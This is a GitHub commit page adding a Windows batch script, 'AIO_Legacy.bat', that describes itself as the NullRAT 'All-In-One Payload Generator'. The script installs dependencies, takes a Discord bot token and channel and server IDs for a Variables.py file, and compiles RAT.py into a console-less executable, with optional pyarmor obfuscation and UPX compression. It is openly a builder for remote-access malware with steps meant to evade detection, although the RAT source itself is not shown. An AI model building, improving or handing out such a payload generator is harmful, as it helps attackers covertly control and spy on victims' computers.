Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit c75baa7

Browse files
committed
Add incomplete legacy file
1 parent 1c13238 commit c75baa7

1 file changed

Lines changed: 280 additions & 0 deletions

File tree

AIO_Legacy.bat

Lines changed: 280 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,280 @@
1+
@echo off & @title NullRAT AIO
2+
cd "%~dp0NullRAT"
3+
setlocal EnableDelayedExpansion
4+
mode con: cols=80 lines=29
5+
6+
:main
7+
cls & echo Press any key to start, C to clean working dir, E to exit:
8+
9+
echo _
10+
echo. & echo. & echo. & echo. & echo.
11+
echo _ _ _ _ ____ _ _____ _ ___ ___
12+
echo ^| ^\ ^| ^|_ _^| ^| ^| _ ^\ ^/ ^\^|_ _^| ^/ ^\ ^|_ _^/ _ ^\
13+
echo ^| ^\^| ^| ^| ^| ^| ^| ^| ^|_^) ^| ^/ _ ^\ ^| ^| ^/ _ ^\ ^| ^| ^| ^| ^|
14+
echo ^| ^|^\ ^| ^|_^| ^| ^| ^| _ ^< ^/ ___ ^\^| ^| ^/ ___ ^\ ^| ^| ^|_^| ^|
15+
echo ^|_^| ^\_^|^\__^,_^|_^|_^|_^| ^\_^\^/_^/ ^\_^\_^| ^/_^/ ^\_^\___^\___^/
16+
echo.
17+
echo ========================================
18+
echo ^|^| ^>^>^> All-In-One Payload Generator ^<^<^< ^|^|
19+
echo ========================================
20+
choice /c ECABDFGHIJKLMNOPQRSTUVWXYZ123456789 /n
21+
if %errorlevel%==1 (exit /b 2)
22+
if %errorlevel%==2 (goto cleanup) else (goto depend)
23+
24+
:depend
25+
@title NullRAT AIO (Dependencies Installer)
26+
cls & echo.
27+
echo ██╗██╗ ██████╗ ███████╗██████╗ ██╗███╗ ██╗███████╗████████╗
28+
echo ███║╚██╗ ██╔══██╗██╔════╝██╔══██╗██║████╗ ██║██╔════╝╚══██╔══╝
29+
echo ╚██║ ██║ ██║ ██║█████╗ ██████╔╝██║██╔██╗ ██║███████╗ ██║
30+
echo ██║ ██║ ██║ ██║██╔══╝ ██╔═══╝ ██║██║╚██╗██║╚════██║ ██║
31+
echo ██║██╔╝ ██████╔╝███████╗██║ ██║██║ ╚████║███████║ ██║
32+
echo ╚═╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝
33+
echo ^>^> Would you like to install^/update NullRAT's Dependencies^? [Y^/N]
34+
choice /c YN /n
35+
if %errorlevel%==2 (
36+
echo Skipping
37+
goto vars
38+
) else (
39+
cls & echo.
40+
echo ██╗██╗ ██████╗ ███████╗██████╗ ██╗███╗ ██╗███████╗████████╗
41+
echo ███║╚██╗ ██╔══██╗██╔════╝██╔══██╗██║████╗ ██║██╔════╝╚══██╔══╝
42+
echo ╚██║ ██║ ██║ ██║█████╗ ██████╔╝██║██╔██╗ ██║███████╗ ██║
43+
echo ██║ ██║ ██║ ██║██╔══╝ ██╔═══╝ ██║██║╚██╗██║╚════██║ ██║
44+
echo ██║██╔╝ ██████╔╝███████╗██║ ██║██║ ╚████║███████║ ██║
45+
echo ╚═╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝
46+
echo ^>^> Would you like to install^/update NullRAT's Dependencies^? [Y^/N] & echo.
47+
echo 1^> Installing fixed version of pyinstaller...
48+
start "" "python" -m pip install pyinstaller==4.10
49+
timeout /t 3 /nobreak >nul
50+
echo 2^> Uninstalling incompatible packages...
51+
start "" "python" -m pip uninstall enum34
52+
echo 3^> Installing/Upgrading rest of dependencies...
53+
start "" "python" -m pip install --upgrade virtualenv aiohttp disnake requests mss pyarmor
54+
timeout /t 6 /nobreak >nul
55+
start "" "python" -m pip install --upgrade virtualenv aiohttp disnake requests mss pyarmor
56+
echo.
57+
echo ALL DONE!
58+
timeout /t 5
59+
goto vars
60+
)
61+
62+
:vars
63+
mode con: cols=90 lines=30
64+
@title NullRAT AIO (Variables Setter)
65+
cd "%~dp0NullRAT"
66+
cls & echo.
67+
echo ██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗
68+
echo ╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝
69+
echo █████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗
70+
echo ██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║
71+
echo ███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║
72+
echo ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝
73+
IF EXIST "Variables.py" (goto fileE) else (goto a)
74+
75+
:fileE
76+
echo.
77+
echo A pre-existing variables file was detected.
78+
choice /c YN /n /m "Do you want to check its contents? [Y/N]"
79+
if %errorlevel%==2 (
80+
cls & echo.
81+
echo ██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗
82+
echo ╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝
83+
echo █████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗
84+
echo ██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║
85+
echo ███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║
86+
echo ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝
87+
echo.
88+
goto a
89+
)
90+
91+
if %errorlevel%==1 (goto endd)
92+
93+
:a
94+
echo.
95+
echo Obtaining information for Variables.py ...
96+
echo ==========================================
97+
echo.
98+
set /p "token=Enter Bot Token: "
99+
if "%token%"=="" (cls & echo [ERROR] Token cannot be empty! & goto createF)
100+
set /p "notification=Enter Notification ID: "
101+
if "%notification%"=="" (cls & echo [ERROR] Notification cannot be empty! & goto createF)
102+
set /p "server=Enter Server ID: "
103+
if "%server%"=="" (cls & echo [ERROR] Server cannot be empty! & goto createF)
104+
105+
echo ^# This file was auto-generated by NullRAT Variables^. DO NOT SHARE^! > Variables.py
106+
echo bot_token = ^"%token%^" >> Variables.py
107+
echo notification_channel = %notification% >> Variables.py
108+
echo server_ids = ^[%server%^] >> Variables.py
109+
110+
echo. & echo Variables file successfully created!
111+
timeout /t 3
112+
goto compiler
113+
114+
:endd
115+
echo. & type Variables.py & echo.
116+
choice /c YN /n /m "Are all these information correct? [Y/N]"
117+
if %errorlevel%==2 (
118+
cls & echo.
119+
echo ██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗
120+
echo ╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝
121+
echo █████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗
122+
echo ██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║
123+
echo ███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║
124+
echo ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝
125+
echo.
126+
goto a
127+
)
128+
if %errorlevel%==1 (
129+
echo. & echo The following information is correct.
130+
timeout /t 2 & goto compiler
131+
)
132+
133+
:a
134+
echo.
135+
echo Obtaining information for Variables.py ...
136+
echo ==========================================
137+
echo.
138+
set /p "token=Enter Bot Token: "
139+
if "%token%"=="" (cls & echo [ERROR] Token cannot be empty! & goto createF)
140+
set /p "notification=Enter Notification ID: "
141+
if "%notification%"=="" (cls & echo [ERROR] Notification cannot be empty! & goto createF)
142+
set /p "server=Enter Server ID: "
143+
if "%server%"=="" (cls & echo [ERROR] Server cannot be empty! & goto createF)
144+
145+
cd "%~dp0NullRAT"
146+
echo ^# This file was auto-generated by NullRAT Variables^. DO NOT SHARE^! > Variables.py
147+
echo bot_token = ^"%token%^" >> Variables.py
148+
echo notification_channel = %notification% >> Variables.py
149+
echo server_ids = ^[%server%^] >> Variables.py
150+
151+
echo. &echo Variables file successfully created!
152+
timeout /t 3
153+
goto compiler
154+
155+
:compiler
156+
@title NullRAT AIO (Compiler)
157+
cls & echo.
158+
echo ██████╗ ██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ ███████╗██████╗
159+
echo ╚════██╗╚██╗ ██╔════╝██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔════╝██╔══██╗
160+
echo █████╔╝ ██║ ██║ ██║ ██║██╔████╔██║██████╔╝██║██║ █████╗ ██████╔╝
161+
echo ╚═══██╗ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔═══╝ ██║██║ ██╔══╝ ██╔══██╗
162+
echo ██████╔╝██╔╝ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██║
163+
echo ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝
164+
echo.
165+
echo ^>^> Options:
166+
echo -----------
167+
echo.
168+
169+
choice /c YN /n /m "Do you want to obfuscate the executable? [Y/N]: "
170+
if %errorlevel%==1 (set pyarmor=yes)
171+
if %errorlevel%==2 (set pyarmor=no)
172+
173+
choice /c YN /n /m "Do you want to compress the executable? [Y/N]: "
174+
if %errorlevel%==1 (set upxdd=yes)
175+
if %errorlevel%==2 (set upxdd=no)
176+
177+
choice /c YN /n /m "Do you want to add a custom icon? [Y/N]: "
178+
if %errorlevel%==1 (set icon=yes)
179+
if %errorlevel%==2 (set icon=no)
180+
181+
echo.
182+
echo All options selected:
183+
echo --------------------------------------------
184+
echo Obfuscating the executable="%pyarmor%"
185+
echo Compressing the executable="%upxdd%"
186+
echo Adding a custom icon to the executable="%icon%"
187+
echo --------------------------------------------
188+
189+
echo. & choice /c YN /n /m "Are all these options correct? [Y/N]: "
190+
if %errorlevel%==2 (goto compiler) else (goto compile)
191+
192+
:compile
193+
cls & echo.
194+
echo ██████╗ ██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ ███████╗██████╗
195+
echo ╚════██╗╚██╗ ██╔════╝██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔════╝██╔══██╗
196+
echo █████╔╝ ██║ ██║ ██║ ██║██╔████╔██║██████╔╝██║██║ █████╗ ██████╔╝
197+
echo ╚═══██╗ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔═══╝ ██║██║ ██╔══╝ ██╔══██╗
198+
echo ██████╔╝██╔╝ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██║
199+
echo ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝
200+
echo.
201+
202+
if "!icon!"=="yes" (
203+
set /P "iconP=Please type the path of the custom icon: "
204+
move "!iconP!" "%~dp0\NullRAT\custom_icon.ico"
205+
)
206+
if "!upxdd!"=="yes" (set "path=!path!;%~dp0\NullRAT\upx;%~dp0\upx")
207+
208+
cd "%~dp0"
209+
set "folder=compiling-%random%"
210+
mkdir "!folder!" & cd "NullRAT"
211+
copy *.* ..\"!folder!"
212+
copy "modules\*.*" ..\"!folder!"
213+
214+
cd modules
215+
216+
set "main_arg=pyinstaller --onefile --noconsole --icon=custom_icon.ico --hidden-import mss"
217+
set "main_arg3=pyarmor pack --clean -e " --onefile --noconsole --icon=custom_icon.ico --hidden-import mss"
218+
219+
set "main_arg2=pyinstaller --onefile --noconsole --hidden-import mss"
220+
set "main_arg4=pyarmor pack -e " --onefile --noconsole --hidden-import mss"
221+
222+
for %%i in (*) do set "main_arg=!main_arg! --add-data %%~nxi;."
223+
for %%i in (*) do set "main_arg2=!main_arg2! --add-data %%~nxi;."
224+
for %%i in (*) do set "main_arg3=!main_arg3! --add-data %%~nxi;."
225+
for %%i in (*) do set "main_arg4=!main_arg4! --add-data %%~nxi;."
226+
227+
set "main_arg=!main_arg! RAT.py"
228+
set "main_arg2=!main_arg2! RAT.py"
229+
set "main_arg3=!main_arg3! " RAT.py"
230+
set "main_arg4=!main_arg4! " RAT.py"
231+
232+
cd "%~dp0!folder!"
233+
234+
if "!pyarmor!"=="yes" (
235+
if "!icon!"=="yes" (
236+
!main_arg3!
237+
) else (
238+
!main_arg4!
239+
)
240+
) else (
241+
if "!icon!"=="yes" (
242+
!main_arg!
243+
) else (
244+
!main_arg2!
245+
)
246+
)
247+
248+
move dist\RAT.exe "%~dp0\" & echo.
249+
cd "%~dp0\"
250+
rmdir /s /q "!folder!"
251+
timeout /t 2
252+
253+
exit
254+
255+
:cleanup
256+
cd "%~dp0"
257+
if exist "NullRAT\" (
258+
move NullRAT\custom_icon.ico "%~dp0"
259+
move NullRAT\RAT.py "%~dp0"
260+
move NullRAT\modules "%~dp0"
261+
move NullRAT\upx\upx.exe "%~dp0"
262+
rmdir /s /q NullRAT
263+
)
264+
attrib -h ".git"
265+
del README.md
266+
del "Getting Variables".md
267+
del .gitignore
268+
if exist RAT.exe (del RAT.exe)
269+
rmdir /s /q ".git"
270+
rmdir /s /q "build"
271+
rmdir /s /q "dist"
272+
273+
mkdir NullRAT
274+
move custom_icon.ico "%~dp0\NullRAT"
275+
move RAT.py "%~dp0\NullRAT"
276+
move modules "%~dp0\NullRAT"
277+
mkdir NullRAT\upx
278+
move upx.exe "%~dp0\NullRAT\upx"
279+
280+
goto main

0 commit comments

Comments
 (0)